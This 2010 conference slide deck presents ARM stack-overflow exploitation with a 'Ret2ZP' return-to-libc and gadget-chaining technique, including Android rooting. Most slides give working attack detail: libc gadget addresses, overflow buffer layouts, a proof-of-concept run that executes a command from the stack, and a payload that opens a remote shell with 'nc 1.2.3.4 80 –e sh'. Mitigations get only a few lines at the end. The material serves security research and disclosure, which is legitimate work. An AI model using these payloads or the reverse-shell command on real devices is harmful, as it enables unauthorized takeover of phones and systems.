Exploitation on ARM

Technique and bypassing defense mechanisms

07. 2010

STRI/Advance Technology Lab/Security
# /usr/bin/whoami

- Itzhak (Zuk) Avraham
- Researcher at Samsung Electronics

- Partner at PIA

- Follow me on twitter under “ihackbanme”
- Blog: [http://imthezuk.blogspot.com](http://imthezuk.blogspot.com)
- For any questions/talks/requests/whatever: itz2000@gmail.com
Presentation isn’t enough

- Get the full paper! Should be in the CDs under the name: Itzhak Zuk Avraham.*
- This presentation and a full disclosure paper can be found at the following URL:
  - http://imthezuk.blogspot.com
Outline

- [+] Exploitation on X86 vs. ARM
- [+] ARM calling convention (APCS)
- [+] Why simple ret2libc will not work?
- [+] Understanding the vulnerable function
- [+] Adjusting parameters
- [+] Controlling the PC
- [+] Ret2ZP (Return To Zero Protection) - For Local Attacker
- [+] Ret2ZP (Return To Zero Protection) - Attack Explained in Depth (For Remote Attacker)
- [+] Ret2ZP - Registers/Variable values injections.
- [+ ] Ret2ZP - Using the attack to enable stack.

```bash
# whoami
root
```
# Introduction - Why to hack into a phone?

## Remote
- Zombie Phone?
- Privilege escalation
- SMS/Calls
- More

## Local by Apps
- Zombie Phone?
- Privilege escalation
- SMS/Calls
- More

## Local by phone holder
- Privilege escalation
Stack based BO on X86/ARM

- Current status on BO on X86
  - Stack/Heap is not executable
  - Stack cookies, ASLR, etc…

- On ARM?
  - Almost no protection.
  - Architecture is different.
  - Stack/Heap are not executable on most devices
X86 Ret2Libc Attack

- Ret2LibC Overwrites the return address and pass parameters to vulnerable function.

```
+----------------+-----------------+-----------------+-----------------+-----------------+
| buffer          | system           | fake_ret        | /bin/sh         |
+----------------+-----------------+-----------------+-----------------+
| args            | EBP             | EIP             |                 |
```

- [+ ] EBP+4 will store a function we want to call.
- [+ ] EBP+8 Will store the exit function as its pushed to the called function.
- [+ ] EBP+12 Will contain the pointer to the parameters we want to use on the called function.
- We’ll use the “system” function, as it’s easy to use/understand and only get 1 parameter.
In order to understand why we have problems using Ret2Libc on ARM with regular X86 method we have to understand how the calling conventions works on ARM & basics of ARM assembly
ARM Assembly basics

- ARM Assembly uses different kind of commands from what most hackers are used to (X86).
- It also has it’s own kind of argument passing mechanism (APCS)
- The standard ARM calling convention allocates the 16 ARM registers as:
  - r15 is the program counter.
  - r14 is the link register.
  - r13 is the stack pointer.
  - r12 is the Intra-Procedure-call scratch register.
  - r4 to r11: used to hold local variables.
  - r0 to r3: **used to hold argument values to and from a subroutine**.
- We need to re-invent the wheel from the beginning to exploit on ARM 😊
ARM Ret2Libc Attack

- Ret2LibC Overwrites the return address and pass parameters to vulnerable function. But wait... Parameters are not passed on the stack but on R0..R3.
- Oops, we’re screwed.
- We can only override existing variables from local function.
- And PC (Program-Counter == EIP in X86)
- So there’s no - ”Ret2Libc” for us on ARM, we’ll have to make some adjustments.
Why is it possible?

- **Theory (shortly & most cases):**
- When returning to original caller of function, the pushed Link-Register (R14) is being popped into Program Counter (R15).
- If we control the Link-Register (R14) before the function exits, we can gain control of the application!
First PoC – On maintained R0

- Saved R0 passed in buffer

```
jars@jars-desktop:~$ bof
# ./memc "ps;#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" `cat system_address`
argv [0] is at 0xbbed74cf8
size of argv[1] 36
buffff is at : 0xbbed74a64
Stack Overflow is next

PID TTY TIME CMD
1809 pts/0  00:00:12 sh
5806 pts/0  00:00:00 memc
5807 pts/0  00:00:00 sh
5808 pts/0  00:00:01 sh
6706 pts/0  00:00:00 memc
6707 pts/0  00:00:00 sh
6708 pts/0  00:00:00 ps
```

Command PS had been executed from stack.

Segmentation fault
```
# cat system_address | hexdump -x -v
00000000 e3b8 41dc
```

system() address
First PoC – On maintained R0

- Sometimes we can maintain the parameters passed on the stack on use them for our own (on R0 register). In some cases we’ll use a Return Oriented Programming to control the flow of the functions to execute our shell-code, step-by-step.

- In the following PoC, we’ll use a function that exits after the copy of the buffer is done and returns no parameters (void), in-order to save the R0 register to gain control to flow without using multiple returns.
Real life scenario!

- Let’s face it, keeping the R0 to point to beginning of buffer is not a real life scenario – it needs the following demands:
  - Function returns VOID.
  - There are no actions after overflow (strcpy?) [R0 will be deleted]
  - The buffer should be small in-order for stack not to run over itself when calling SYSTEM function. (~16 bytes).
- There’s almost no chance for that to happen. Let’s make this attack better.
Successful exploitation requirements?

- Parameter adjustments
- Variable adjustments
- Gaining back control to PC
- Stack lifting

- RoP + Ret2Libc + Stack lifting + Parameter/Variable adjustments = Ret2ZP

- Ret2ZP == Return to Zero-Protection
Ret2ZP for Local Attacker

- How can we control R0? R1? Etc?
- We’ll need to jump into a pop instruction which also pops PC or do with it something later… Let’s look for something that …
- After a quick look, this is what I’ve found:

- For example erand48 function epilog (from libc):

  0x41dc7344 <erand48+28>:   bl 0x41dc74bc <erand48_r>
  0x41dc7348 <erand48+32>:  ldm sp, {r0, r1} <==== WE NEED TO JUMP HERE. Let's make R0 point to &/bin/sh
  0x41dc734c <erand48+36>:  add sp, sp, #12   ; 0xc
  0x41dc7350 <erand48+40>:  pop {pc} ===> We'll get out here. Let's make it point to SYSTEM.

- Meaning our buffer will look something like this:

  AA…A [R4] [R11] &0x41dc7344 &[address of /bin/sh] [R1] [4bytes of Junk] &SYSTEM
Ret2ZP – Remote attacker

- By using relative places, we can adjust R0 to point to beginning of buffer. R0 Will point to *

  Meaning our buffer will look something like this:
  *nc 1.2.3.4 80 –e sh;#…A [R4] [R11] &PointR0ToRelativeCaller … [JUNK] [&SYSTEM]

- We can run remote commands such as:

  Nc 1.2.3.4 80 –e sh

  ***Don’t forget to separate commands with # or ; because string continue after command 😊
Arghh… It doesn’t work. For short buffer we only got DWORD of un-written commands, for long buffer we got none, un-less certain specific commands happened.

We need to lift the stack! Or point it to other writeable region.

ARM commands are making our life easier. There are many variations of commands that can adjust a register.
Ret2ZP – Remote Attacker – Abusing current StackPointer

- This is an example of a simple way to adjust stack, but other methods are preferred such as moving SP to writeable location.

- Let’s take a look of wprintf function epilog:

  0x41df8954:  add   sp, sp, #12   ; 0xc
  0x41df8958:  pop   {lr}       ; (ldr lr, [sp], #4) <--- We need to jump here!

  ; lr = [sp]
  ; sp += 4

  0x41df895c:  add   sp, sp, #16   ; 0x10 STACK IS LIFTED RIGHT HERE!
  0x41df8960:  bx    lr          ; <--- We'll get out, here :)
  0x41df8964:  .word  0x000cc6c4

- Enough lifting can be around ~384 bytes [from memory]

- Our buffer for 16 byte long buffer will look like this:

  “nc 1.2.3.4 80 –e sh;#A..A” [R4] [R1] 0x41df8958 *0x41df8958 [16 byte]
  [re-lift] [16 byte] [re-lift][16 byte] …. [R0 Adjustment] [R1] [Junk] [&SYSTEM]
● Another interesting parts to adjust params:

● **Mcount epilog:**
  - 0x41E6583C mcount
  - 0x41E6583C STMFD SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'
  - 0x41E65840 MOVS R11, R11
  - 0x41E65844 LDRNE R0, [R11,#-4]
  - 0x41E65848 MOVNES R1, LR
  - 0x41E6584C BLNE mcount_internal
  - 0x41E65850 LDMFD SP!, {R0-R3,R11,LR} <=== Jumping here will get you to control R0, R1, R2, R3, R11 and LR which you'll be jumping into.
  - 0x41E65854 BX LR
  - 0x41E65854 ; End of function mcount
Enable stack and execute whatever you want! All of this can be easily used to enable stack by calling mprotect() and jumping back to shellcode. For more complex shellcodes (please refer to reference section on Pharck magazine Alphanumeric ARM shellcodes).
Let’s see if we can root an Android phone:

- Limitations
- Okay, Let’s do it!
  - Andorid libc… mmm
  - What do we need to know:
    - Compiled differently from libc here
    - Different flags, but same technique works.
    - No getting things to R0 immediately? (pop R0)... Let’s get it!
    - `/bin/sh \rightarrow /system/bin/sh`
Don’t worry, it’s all the same (more or less)…

Let’s get “/system/bin/sh” to R0. No pop R0 at all, so let’s do a trick. Check this lines of code:

```assembly
mallinfo

STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4
LDMFD SP!, {R4,PC} \ Let’s jump here and store address of /system/bin/sh on R4! 

; End of function mallinfo
```
Ret2ZP – Android

- Now let’s get R4 to R0

mallinfo

```assembly
STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4 \(\text{(2}\text{nd Jump) We’ll need to jump here now.}\)
LDMFD SP!, {R4,PC} \(\text{(1st Jump)}\)
```

; End of function mallinfo

- I.e : AA...A \(\text{\textbackslash xd8\textbackslash x93\textbackslash xe0\textbackslash xaf }\) &/system/bin/sh \(\text{\textbackslash xd4\textbackslash x93\textbackslash xe0\textbackslash xaf }\) junk
  &system
Ret2ZP – Summary

- Buffer overflows on ARM are real threat and the more security mechanisms set, the better. Some needs to be ported to ARM and some are already available.
- Never say never, you only need one security hole to gain control of a device, use the most protections you can.
Ret2ZP – Prevention

- Not a single un-randomized static code
- Cookies
- Multiple vectors
Questions?

● Questions?
Questions?

- Questions?
- Itzhak (Zuk) Avraham
- Researcher at Samsung Electronics

My details for further questions:
- Follow me on twitter under “ihackbanme”
- Blog/Full Paper/Presentation: [http://imthezuk.blogspot.com](http://imthezuk.blogspot.com)
- My Email: (Special offers/questions/comments…):
  
itz2000@gmail.com
Thanks!

- **Ilan (NG!) Aelion** - Thanks Ilan, Couldn't have done it without you; You're the man!
- **Moshe Vered** - Thanks for the support/help!
- **Matthew Carpenter** - Thanks for your words on hard times.
References

- Full paper is posted at my blog: [http://imthezuk.blogspot.com](http://imthezuk.blogspot.com)
- Phrack magazine p66,0x0c – Alphanumeric ARM Shellcode (Yves Younan, Pieter Philippaerts)
- Phrack magazine p58,0x04 – advanced ret2libc attacks (Nergal)
- Defense Embedded Systems Against BO via Hardware/Software (Zili Shao, Qingfeng Zhuge, Yi He, Edwin H.-M. Sha)
- iPwnning the iPhone: Charlie Miller
- ARM System-On-Chip Book: Awesome! By Stever Furber – Like the bible of ARM.
- Understanding the Linux Kernel – by Bovet & Cesati
감사합니다!
Thank You!

Innovating Telecom.